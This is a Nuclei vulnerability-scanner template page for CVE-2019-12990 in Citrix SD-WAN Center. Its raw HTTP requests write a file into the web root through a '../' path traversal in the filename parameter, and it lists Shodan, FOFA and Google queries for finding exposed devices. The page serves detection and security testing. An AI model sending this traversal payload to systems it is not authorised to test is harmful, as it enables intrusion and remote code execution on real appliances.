Skip to content
Nuclei Templates

Citrix SD-WAN Center - Local File Inclusion

ID: CVE-2019-12990

Severity: critical

Author: gy741

Tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive

Description

Section titled “Description”

Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.

YAML Source

Section titled “YAML Source”
id: CVE-2019-12990


info:
  name: Citrix SD-WAN Center - Local File Inclusion
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
  remediation: |
    Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12990
    - https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12990
    cwe-id: CWE-22
    epss-score: 0.90869
    epss-percentile: 0.98831
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query:
      - http.title:"Citrix SD-WAN"
      - http.title:"citrix sd-wan"
    fofa-query: title="citrix sd-wan"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive


http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
      - |
        GET /talari/app/files/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*


    matchers:
      - type: dsl
        dsl:
          - contains(header, "text/html")
          - status_code_3 == 200
          - contains(body_1, "<title>Citrix SD-WAN</title>")
        condition: and
# digest: 490a00463044022065a15dafaafb1ceb34a8f6040bb9540c08778d3b62ccb7042ca7284c10b940900220119c165fd28e923a218f805debc6105ebda345c72764103f765d37190a38f041:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-12990.yaml"

View on Github